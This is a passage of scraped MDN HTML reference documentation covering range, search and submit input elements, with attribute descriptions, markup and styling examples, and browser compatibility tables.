the value is always an integer. You can change the [`step`](../../global_attributes#step) attribute to control the granularity. For example, If you need a value to be halfway between 5 and 10 you should set the value of `step` to 0.5: #### Setting the step attribute ``` <input type="range" min="5" max="10" step="0.5" /> ``` #### Setting step to "any" If you want to accept any value regardless of how many decimal places it extends to, you can specify a value of `any` for the [`step`](../input#attr-step) attribute: ##### HTML ``` <input id="pi\_input" type="range" min="0" max="3.14" step="any" /> <p>Value: <output id="value"></output></p> ``` ##### JavaScript ``` const value = document.querySelector("#value") const input = document.querySelector("#pi\_input") value.textContent = input.value input.addEventListener("input", (event) => { value.textContent = event.target.value }) ``` This example lets the user select any value between 0 and π without any restriction on the fractional part of the value selected. JavaScript is used to show how the value changes as the user interacts with the range. ### Adding tick marks To add tick marks to a range control, include the `list` attribute, giving it the `id` of a [`<datalist>`](../datalist) element which defines a series of tick marks on the control. Each point is represented using an [`<option>`](../option) element with its [`value`](../option#attr-value) set to the range's value at which a mark should be drawn. #### HTML ``` <label for="temp">Choose a comfortable temperature:</label><br /> <input type="range" id="temp" name="temp" list="markers" /> <datalist id="markers"> <option value="0"></option> <option value="25"></option> <option value="50"></option> <option value="75"></option> <option value="100"></option> </datalist> ``` #### Result ### Using the same datalist for multiple range controls To help you from repeating code you can reuse that same [`<datalist>`](../datalist) for multiple `<input type="range">` elements, and other [`<input>`](../input) types. **Note:** If you also want to [show the labels](#adding_labels) as in the example below then you would need a `datalist` for each range input. #### HTML ``` <p> <label for="temp1">Temperature for room 1:</label> <input type="range" id="temp1" name="temp1" list="values" /> </p> <p> <label for="temp2">Temperature for room 2:</label> <input type="range" id="temp2" name="temp2" list="values" /> <p> <label for="temp3">Temperature for room 3:</label> <input type="range" id="temp3" name="temp3" list="values" /> </p> <datalist id="values"> <option value="0" label="0"></option> <option value="25" label="25"></option> <option value="50" label="50"></option> <option value="75" label="75"></option> <option value="100" label="100"></option> </datalist> ``` #### Result ### Adding labels You can label tick marks by giving the `<option>` elements `label` attributes. However, the label content will not be displayed by default. You can use CSS to show the labels and to position them correctly. Here's one way you could do this. #### HTML ``` <label for="tempB">Choose a comfortable temperature:</label><br /> <input type="range" id="tempB" name="temp" list="values" /> <datalist id="values"> <option value="0" label="very cold!"></option> <option value="25" label="cool"></option> <option value="50" label="medium"></option> <option value="75" label="getting warm!"></option> <option value="100" label="hot!"></option> </datalist> ``` #### CSS ``` datalist { display: flex; flex-direction: column; justify-content: space-between; writing-mode: vertical-lr; width: 200px; } option { padding: 0; } input[type="range"] { width: 200px; margin: 0; } ``` #### Result ### Creating vertical range controls By default, browsers render range inputs as sliders with the knob sliding left and right. To create a vertical range, wherein the knob slides up and down, set the CSS [`appearance`](https://developer.mozilla.org/en-US/docs/Web/CSS/appearance) property to `slider-vertical` and include the non-standard `orient` attribute for Firefox. #### Horizontal range control Consider this range control: ``` <input type="range" id="volume" min="0" max="11" value="7" step="1" /> ``` This control is horizontal (at least on most if not all major browsers; others might vary). #### Using the appearance property The [`appearance`](https://developer.mozilla.org/en-US/docs/Web/CSS/appearance) property has a non-standard value of `slider-vertical` that, well, makes sliders vertical. We use the same HTML as in the previous examples: ``` <input type="range" min="0" max="11" value="7" step="1" /> ``` We target just the inputs with a type of range: ``` input[type="range"] { appearance: slider-vertical; } ``` #### Using the orient attribute In Firefox only, there is a non-standard `orient` property. Use similar HTML as in the previous examples, we add the attribute with a value of `vertical`: ``` <input type="range" min="0" max="11" value="7" step="1" orient="vertical" /> ``` #### writing-mode: bt-lr The [`writing-mode`](https://developer.mozilla.org/en-US/docs/Web/CSS/writing-mode) property should generally not be used to alter text direction for internationalization or localization purposes, but can be used for special effects. We use the same HTML as in the previous examples: ``` <input type="range" min="0" max="11" value="7" step="1" /> ``` We target just the inputs with a type of range, changing the writing mode from the default to `bt-lr`, or bottom-to-top and left-to-right: ``` input[type="range"] { writing-mode: bt-lr; } ``` #### Putting it all together As each of the above examples works in different browsers, you can put all of them in a single example to make it work cross browser: We keep the `orient` attribute with a value of `vertical` for Firefox: ``` <input type="range" min="0" max="11" value="7" step="1" orient="vertical" /> ``` We target just the `input`s with a `type` of `range` and `orient` set to `vertical`, changing the `writing-mode` from the default to `bt-lr`, or bottom-to-top and left-to-right, for pre-Blink versions of Edge, and add `appearance: slider-vertical` which is supported in Blink and Webkit browsers: ``` input[type="range"][orient="vertical"] { writing-mode: bt-lr; appearance: slider-vertical; } ``` Technical Summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string containing the string representation of the selected numeric value; use `valueAsNumber` to get the value as a number. | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`max`](../input#attr-max), [`min`](../input#attr-min), and [`step`](../input#attr-step) | | **IDL attributes** | `list`, `value`, and `valueAsNumber` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`stepDown()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepDown) and [`stepUp()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepUp) | Specifications -------------- | Specification | | --- | | [HTML Standard # range-state-(type=range)](https://html.spec.whatwg.org/multipage/input.html#range-state-(type=range)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `range` | 4 | 12 | 23 | 10 | 11 | 3.1 | 4.4 2-4.4 Pre-Chromium Android WebView recognizes the `range` type, but doesn't implement a range-specific control. | 57 | 52 | Yes | 5 | 7.0 | | `tick_marks` | Yes | ≤79 | 109 | No | Yes | No | Yes | Yes | 109 | Yes | No | Yes | | `vertical_orientation` | Yes The slider can be oriented vertically by setting the non-standard `-webkit-appearance: slider-vertical` style on the `input` element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers. | 12 The slider can be oriented vertically by setting the `writing-mode: bt-lr` style on the `input` element. | No See [bug 840820](https://bugzil.la/840820) and [bug 981916](https://bugzil.la/981916). | 10 The slider can be oriented vertically by setting the `writing-mode: bt-lr` style on the `input` element. | Yes The slider can be oriented vertically by setting the non-standard `-webkit-appearance: slider-vertical` style on the `input` element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers. | Yes The slider can be oriented vertically by setting the non-standard `-webkit-appearance: slider-vertical` style on the `input` element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers. | Yes The slider can be oriented vertically by setting the non-standard `-webkit-appearance: slider-vertical` style on the `input` element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers. | Yes The slider can be oriented vertically by setting the non-standard `-webkit-appearance: slider-vertical` style on the `input` element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers. | No See [bug 840820](https://bugzil.la/840820) and [bug 981916](https://bugzil.la/981916). | Yes The slider can be oriented vertically by setting the non-standard `-webkit-appearance: slider-vertical` style on the `input` element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers. | Yes The slider can be oriented vertically by setting the non-standard `-webkit-appearance: slider-vertical` style on the `input` element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers. | Yes The slider can be oriented vertically by setting the non-standard `-webkit-appearance: slider-vertical` style on the `input` element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers. | See also -------- * [HTML Forms](https://developer.mozilla.org/en-US/docs/Learn/Forms) * [`<input>`](../input) and the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) interface it's based upon * [`<input type="number">`](number) * [`validityState.rangeOverflow`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/rangeOverflow) and [`validityState.rangeUnderflow`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/rangeUnderflow) * [Controlling multiple parameters with ConstantSourceNode](https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Controlling_multiple_parameters_with_ConstantSourceNode) * [Styling the range element](https://css-tricks.com/sliding-nightmare-understanding-range-input/) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="search"> <input type="search"> ===================== [`<input>`](../input) elements of type `search` are text fields designed for the user to enter search queries into. These are functionally identical to [`text`](text) inputs, but may be styled differently by the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent). Try it ------ Value ----- The [`value`](../input#attr-value) attribute contains a string representing the value contained in the search field. You can retrieve this using the `HTMLInputElement.value` property in JavaScript. ``` searchTerms = mySearch.value; ``` If no validation constraints are in place for the input (see [Validation](#validation) for more details), the value can be any text string or an empty string (`""`). Additional attributes --------------------- In addition to the attributes that operate on all [`<input>`](../input) elements regardless of their type, search field inputs support the following attributes. ### list The values of the list attribute is the [`id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id) of a [`<datalist>`](../datalist) element located in the same document. The [`<datalist>`](../datalist) provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the [`type`](../input#attr-type) are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value. ### maxlength The maximum number of characters (as UTF-16 code units) the user can enter into the search field. This must be an integer value 0 or higher. If no `maxlength` is specified, or an invalid value is specified, the search field has no maximum length. This value must also be greater than or equal to the value of `minlength`. The input will fail [constraint validation](../../constraint_validation) if the length of the text entered into the field is greater than `maxlength` UTF-16 code units long. ### minlength The minimum number of characters (as UTF-16 code units) the user can enter into the search field. This must be a non-negative integer value smaller than or equal to the value specified by `maxlength`. If no `minlength` is specified, or an invalid value is specified, the search input has no minimum length. The search field will fail [constraint validation](../../constraint_validation) if the length of the text entered into the field is fewer than `minlength` UTF-16 code units long. ### pattern The `pattern` attribute, when specified, is a regular expression that the input's [`value`](../../global_attributes#value) must match in order for the value to pass [constraint validation](../../constraint_validation). It must be a valid JavaScript regular expression, as used by the [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) type, and as documented in our [guide on regular expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions); the `'u'` flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. **Note:** Use the [`title`](../input#attr-title) attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby. See the section [Specifying a pattern](#specifying_a_pattern) for details and an example. ### placeholder The `placeholder` attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text *must not* include carriage returns or line feeds. If the control's content has one directionality ([LTR](https://developer.mozilla.org/en-US/docs/Glossary/LTR) or [RTL](https://developer.mozilla.org/en-US/docs/Glossary/RTL)) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see [How to use Unicode controls for bidi text](https://www.w3.org/International/questions/qa-bidi-unicode-controls) for more information. **Note:** Avoid using the `placeholder` attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See [Labels and placeholders](../input#labels_and_placeholders) in [<input>: The Input (Form Input) element](../input) for more information. ### readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its `value` can, however, still be changed by JavaScript code directly setting the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property. **Note:** Because a read-only field cannot have a value, `required` does not have any effect on inputs with the `readonly` attribute also specified. ### size The `size` attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font ([`font`](https://developer.mozilla.org/en-US/docs/Web/CSS/font) settings in use). This does *not* set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the [`maxlength`](#maxlength) attribute. ### spellcheck `spellcheck` is a global attribute which is used to indicate whether to enable spell checking for an element. It can be used on any editable content, but here we consider specifics related to the use of `spellcheck` on [`<input>`](../input) elements. The permitted values for `spellcheck` are: `false` Disable spell checking for this element. `true` Enable spell checking for this element. "" (empty string) or no value Follow the element's default behavior for spell checking. This may be based upon a parent's `spellcheck` setting or other factors. An input field can have spell checking enabled if it doesn't have the [readonly](#readonly) attribute set and is not disabled. The value returned by reading `spellcheck` may not reflect the actual state of spell checking within a control, if the [user agent's](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) preferences override the setting. Non-standard attributes ----------------------- The following non-standard attributes are available to search input fields. As a general rule, you should avoid using them unless it can't be helped. ### autocorrect A Safari extension, the `autocorrect` attribute is a string which indicates whether to activate automatic correction while the user is editing this field. Permitted values are: `on` Enable automatic correction of typos, as well as processing of text substitutions if any are configured. `off` Disable automatic correction and text substitutions. ### incremental The Boolean attribute `incremental` is a WebKit and Blink extension (so supported by Safari, Opera, Chrome, etc.) which, if present, tells the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) to process the input as a live search. As the user edits the value of the field, the user agent sends [`search`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/search_event) events to the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) object representing the search box. This allows your code to update the search results in real time as the user edits the search. If `incremental` is not specified, the [`search`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/search_event) event is only sent when the user explicitly initiates a search (such as by pressing the `Enter` or `Return` key while editing the field). The `search` event is rate-limited so that it is not sent more frequently than an implementation-defined interval. ### mozactionhint A Mozilla extension, which provides a hint as to what sort of action will be taken if the user presses the `Enter` or `Return` key while editing the field. This attribute has been deprecated: use the [`enterkeyhint`](../../global_attributes#enterkeyhint) global attribute instead. ### results The `results` attribute—supported only by Safari—is a numeric value that lets you override the maximum number of entries to be displayed in the [`<input>`](../input) element's natively-provided drop-down menu of previous search queries. The value must be a non-negative decimal number. If not provided, or an invalid value is given, the browser's default maximum number of entries is used. Using search inputs ------------------- `<input>` elements of type `search` are very similar to those of type `text`, except that they are specifically intended for handling search terms. They are basically equivalent in behavior, but user agents may choose to style them differently by default (and, of course, sites may use stylesheets to apply custom styles to them). ### Basic example ``` <form> <div> <input type="search" id="mySearch" name="q" /> <button>Search</button> </div> </form> ``` This renders like so: `q` is the most common `name` given to search inputs, although it's not mandatory. When submitted, the data name/value pair sent to the server will be `q=searchterm`. **Note:** You must remember to set a [`name`](../input#attr-name) for your input, otherwise nothing will be submitted. ### Differences between search and text types The main basic differences come in the way browsers handle them. The first thing to note is that some browsers show a cross icon that can be clicked on to remove the search term instantly if desired, in Chrome this action is also triggered when pressing escape. The following screenshot comes from Chrome: In addition, modern browsers also tend to automatically store search terms previously entered across domains, which then come up as autocomplete options when subsequent searches are performed in search inputs on that domain. This helps users who tend to do searches on the same or similar search queries over time. This screenshot is from Firefox: At this point, let's look at some useful techniques you can apply to your search forms. ### Setting placeholders You can provide a useful placeholder inside your search input that could give a hint on what to do using the [`placeholder`](../input#attr-placeholder) attribute. Look at the following example: ``` <form> <div> <input type="search" id="mySearch" name="q" placeholder="Search the site…" /> <button>Search</button> </div> </form> ``` You can see how the placeholder is rendered below: ### Search form labels and accessibility One problem with search forms is their accessibility; a common design practice is not to provide a label for the search field (although there might be a magnifying glass icon or similar), as the purpose of a search form is normally fairly obvious for sighted users due to placement ([this example shows a typical pattern](https://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/)). This could, however, cause confusion for screen reader users, since they will not have any verbal indication of what the search input is. One way around this that won't impact on your visual design is to use [WAI-ARIA](https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics) features: * A `role` attribute of value `search` on the `<form>` element will cause screen readers to announce that the form is a search form. * If that isn't enough, you can use an [`aria-label`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-label) attribute on the [`<input>`](../input) itself. This should be a descriptive text label that will be read out by the screen reader; it's used as a non-visual equivalent to `<label>`. Let's have a look at an example: ``` <form role="search"> <div> <input type="search" id="mySearch" name="q" placeholder="Search the site…" aria-label="Search through site content" /> <button>Search</button> </div> </form> ``` You can see how this is rendered below: There is no visual difference from the previous example, but screen reader users have way more information available to them. **Note:** See [Signposts/Landmarks](https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics#signpostslandmarks) for more information about such accessibility features. ### Physical input element size The physical size of the input box can be controlled using the [`size`](../input#attr-size) attribute. With it, you can specify the number of characters the input box can display at a time. In this example, for instance, the search box is 30 characters wide: ``` <form> <div> <input type="search" id="mySearch" name="q" placeholder="Search the site…" size="30" /> <button>Search</button> </div> </form> ``` The result is this wider input box: Validation ---------- `<input>` elements of type `search` have the same validation features available to them as regular `text` inputs. It is less likely that you'd want to use validation features in general for search boxes. In many cases, users should just be allowed to search for anything, but there are a few cases to consider, such as searches against data of a known format. **Note:** HTML form validation is *not* a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database. ### A note on styling There are useful pseudo-classes available for styling valid/invalid form elements: [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid). In this section, we'll use the following CSS, which will place a check (tick) next to inputs containing valid values, and a cross next to inputs containing invalid values. ``` input:invalid ~ span::after { content: "✖"; padding-left: 5px; position: absolute; } input:valid ~ span::after { content: "✓"; padding-left: 5px; position: absolute; } ``` The technique also requires a [`<span>`](../span) element to be placed after the form element, which acts as a holder for the icons. This was necessary because some input types on some browsers don't display icons placed directly after them very well. ### Making input required You can use the [`required`](../input#attr-required) attribute as an easy way of making entering a value required before form submission is allowed: ``` <form> <div> <input type="search" id="mySearch" name="q" placeholder="Search the site…" required /> <button>Search</button> <span class="validity"></span> </div> </form> ``` This renders like so: In addition, if you try to submit the form with no search term entered into it, the browser will show a message. The following example is from Firefox: Different messages will be shown when you try to submit the form with different types of invalid data contained inside the inputs; see the below examples. ### Input value length You can specify a minimum length, in characters, for the entered value using the [`minlength`](../input#attr-minlength) attribute; similarly, use [`maxlength`](../input#attr-maxlength) to set the maximum length of the entered value. The example below requires that the entered value be 4–8 characters in length. ``` <form> <div> <label for="mySearch">Search for user</label> <input type="search" id="mySearch" name="q" placeholder="User IDs are 4–8 characters in length" required size="30" minlength="4" maxlength="8" /> <button>Search</button> <span class="validity"></span> </div> </form> ``` This renders like so: If you try to submit the form with less than 4 characters, you'll be given an appropriate error message (which differs between browsers). If you try to go beyond 8 characters in length, the browser won't let you. ### Specifying a pattern You can use the [`pattern`](../input#attr-pattern) attribute to specify a regular expression that the inputted value must follow to be considered valid (see [Validating against a regular expression](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation#validating_against_a_regular_expression) for a simple crash course). Let's look at an example. Say we wanted to provide a product ID search form, and the IDs were all codes of two letters followed by four numbers. The following example covers it: ``` <form> <div> <label for="mySearch">Search for product by ID:</label> <input type="search" id="mySearch" name="q" placeholder="two letters followed by four numbers" required size="30" pattern="[A-z]{2}[0-9]{4}" /> <button>Search</button> <span class="validity"></span> </div> </form> ``` This renders like so: Examples -------- You can see a good example of a search form used in context at our [website-aria-roles](https://github.com/mdn/learning-area/tree/main/accessibility/aria/website-aria-roles) example ([see it live](https://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/)). Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing the value contained in the search field. | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported Common Attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`maxlength`](../input#attr-maxlength), [`minlength`](../input#attr-minlength), [`pattern`](../input#attr-pattern), [`placeholder`](../input#attr-placeholder), [`required`](../input#attr-required), [`size`](../input#attr-size). | | **IDL attributes** | `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`setRangeText()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setRangeText), [`setSelectionRange()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange). | Specifications -------------- | Specification | | --- | | [HTML Standard # text-(type=text)-state-and-search-state-(type=search)](https://html.spec.whatwg.org/multipage/input.html#text-(type=text)-state-and-search-state-(type=search)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `search` | 5 | 12 | 4 | 10 | 10.6 | 5 | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * [HTML Forms](https://developer.mozilla.org/en-US/docs/Learn/Forms) * [`<input>`](../input) and the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) interface it's based upon * [`<input type="text">`](text) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="submit"> <input type="submit"> ===================== [`<input>`](../input) elements of type `submit` are rendered as buttons. When the [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) event occurs (typically because the user clicked the button), the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) attempts to submit the form to the server. | | | | --- | --- | | **[Value](#value)** | A string used as the button's label | | **Events** | [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) | | **Supported common attributes** | [`type`](../input#type) and [`value`](../input#value) | | **IDL attributes** | `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | None | Value ----- An `<input type="submit">` element's [`value`](../input#value) attribute contains a string which is displayed as the button's label. Buttons do not have a true value otherwise. ### Setting the value attribute ``` <input type="submit" value="Send Request" /> ``` ### Omitting the value attribute If you don't specify a `value`, the button will have a default label, chosen by the user agent. This label is likely to be something along the lines of "Submit" or "Submit Query." Here's an example of a submit button with a default label in your browser: ``` <input type="submit" /> ``` Additional attributes --------------------- In addition to the attributes shared by all [`<input>`](../input) elements, `submit` button inputs support the following attributes. ### formaction A string indicating the URL to which to submit the data. This takes precedence over the [`action`](../form#attr-action) attribute on the [`<form>`](../form) element that owns the [`<input>`](../input). This attribute is also available on [`<input type="image">`](image) and [`<button>`](../button) elements. ### formenctype A string that identifies the encoding method to use when submitting the form data to the server. There are three permitted values: `application/x-www-form-urlencoded` This, the default value, sends the form data as a string after URL encoding the text using an algorithm such as [`encodeURI()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI). `multipart/form-data` Uses the [`FormData`](https://developer.mozilla.org/en-US/docs/Web/API/FormData) API to manage the data, allowing for files to be submitted to the server. You *must* use this encoding type if your form includes any [`<input>`](../input) elements of [`type`](../input#type) `file` ([`<input type="file">`](file)). `text/plain` Plain text; mostly useful only for debugging, so you can easily see the data that's to be submitted. If specified, the value of the `formenctype` attribute overrides the owning form's [`action`](../form#attr-action) attribute. This attribute is also available on [`<input type="image">`](image) and [`<button>`](../button) elements. ### formmethod A string indicating the HTTP method to use when submitting the form's data; this value overrides any [`method`](../form#attr-method) attribute given on the owning form. Permitted values are: `get` A URL is constructed by starting with the URL given by the `formaction` or [`action`](../form#attr-action) attribute, appending a question mark ("?") character, then appending the form's data, encoded as described by `formenctype` or the form's [`enctype`](../form#attr-enctype) attribute. This URL is then sent to the server using an HTTP [`get`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET) request. This method works well for simple forms that contain only ASCII characters and have no side effects. This is the default value. `post` The form's data is included in the body of the request that is sent to the URL given by the `formaction` or [`action`](../form#attr-action) attribute using an HTTP [`post`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST) method. This method supports complex data and file attachments. `dialog` This method is used to indicate that the button closes the dialog with which the input is associated, and does not transmit the form data at all. This attribute is also available on [`<input type="image">`](image) and [`<button>`](../button) elements. ### formnovalidate A Boolean attribute which, if present, specifies that the form should not be validated before submission to the server. This overrides the value of the [`novalidate`](../form#attr-novalidate) attribute on the element's owning form. This attribute is also available on [`<input type="image">`](image) and [`<button>`](../button) elements. ### formtarget A string which specifies a name or keyword that indicates where to display the response received after submitting the form. The string must be the name of a **browsing context** (that is, a tab, window, or [`<iframe>`](../iframe)). A value specified here overrides any target given by the [`target`](../form#attr-target) attribute on the [`<form>`](../form) that owns this input. In addition to the actual names of tabs, windows, or inline frames, there are a few special keywords that can be used: `_self` Loads the response into the same browsing context as the one that contains the form. This will replace the current document with the received data. This is the default value used if none is specified. `_blank` Loads the response into a new, unnamed, browsing context. This is typically a new tab in the same window as the current document, but may differ depending on the configuration of the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent). `_parent` Loads the response into the parent browsing context of the current one. If there is no parent context, this behaves the same as `_self`. `_top` Loads the response into the top-level browsing context; this is the browsing context that is the topmost ancestor of the current context. If the current context is the topmost context, this behaves the same as `_self`. This attribute is also available on [`<input type="image">`](image) and [`<button>`](../button) elements. Using submit buttons -------------------- `<input type="submit">` buttons are used to submit forms. If you want to create a custom button and then customize the behavior using JavaScript, you need to use [`<input type="button">`](button), or better still, a [`<button>`](../button) element. If you choose to use `<button>` elements to create the buttons in your form, keep this in mind: If the `<button>` is inside a [`<form>`](../form), that button will be treated as the "submit" button. So you should be in the habit of expressly specifying which button is the submit button. ### A simple submit button We'll begin by creating a form with a simple submit button: ``` <form> <div> <label for="example">Let's submit some text</label> <input id="example" type="text" name="text" /> </div> <div> <input type="submit" value="Send" /> </div> </form> ``` This renders like so: Try entering some text into the text field, and then submitting the form. Upon submitting, the data name/value pair gets sent to the server. In this instance, the string will be `text=usertext`, where "usertext" is the text entered by the user, encoded to preserve special characters. Where and how the data is submitted depends on the configuration of the `<form>`; see [Sending form data](https://developer.mozilla.org/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data) for more details. ### Adding a keyboard shortcut to a submit button Keyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard. To add a keyboard shortcut to a submit button — just as you would with any [`<input>`](../input) for which it makes sense — you use the [`accesskey`](../../global_attributes/accesskey) global attribute. In this example, `s` is specified as the access key (you'll need to press `s` plus the particular modifier keys for your browser/OS combination). In order to avoid conflicts with the user agent's own keyboard shortcuts, different modifier keys are used for access keys than for other shortcuts on the host computer. See [`accesskey`](../../global_attributes/accesskey) for further details. Here's the previous example with the `s` access key added: ``` <form> <div> <label for="example">Let's submit some text</label> <input id="example" type="text" name="text" /> </div> <div> <input type="submit" value="Send" accesskey="s" /> </div> </form> ``` For example, in Firefox for Mac, pressing `Control`-`Option`-`S` triggers the Send button, while Chrome on Windows uses `Alt`+`S`. The problem with the above example is that the user will not know what the access key is! This is especially true since the modifiers are typically non-standard to avoid conflicts. When building a site, be sure to provide this information in a way that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site access keys are). Adding a tooltip to the button (using the [`title`](../../global_attributes/title) attribute) can also help, although it's not a complete solution for accessibility purposes. ### Disabling and enabling a submit button To disable a submit button, specify the [`disabled`](../../attributes/disabled) attribute on it, like so: ``` <input type="submit" value="Send" disabled /> ``` You can enable and disable buttons at run time by setting `disabled` to `true` or `false`; in JavaScript this looks like `btn.disabled = true` or `btn.disabled = false`. **Note:** See the [`<input type="button">`](button#disabling_and_enabling_a_button) page for more ideas about enabling and disabling buttons. Validation ---------- Submit buttons don't participate in constraint validation; they have no real value to be constrained. Examples -------- We've included simple examples above. There isn't really anything more to say about submit buttons. There's a reason this kind of control is sometimes called a "simple button." Specifications -------------- | Specification | | --- | | [HTML Standard # submit-button-state-(type=submit)](https://html.spec.whatwg.org/multipage/input.html#submit-button-state-(type=submit)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `submit` | 1 | 12 | 1 Unlike other browsers, Firefox by default [persists the dynamic disabled state](https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing) of a `<button>` across page loads. Use the `[autocomplete](https://developer.mozilla.org/docs/Web/HTML/Element/button#attr-autocomplete)` attribute to control this feature. | Yes | Yes | 1 | Yes | Yes | 4 Unlike other browsers, Firefox by default [persists the dynamic disabled state](https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing) of a `<button>` across page loads. Use the `[autocomplete](https://developer.mozilla.org/docs/Web/HTML/Element/button#attr-autocomplete)` attribute to control this feature. | Yes | Yes | Yes | See also -------- * [`<input>`](../input) and the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) interface which implements it. * [Forms and buttons](https://developer.mozilla.org/en-US/docs/Learn/Forms/Basic_native_form_controls#actual_buttons) * 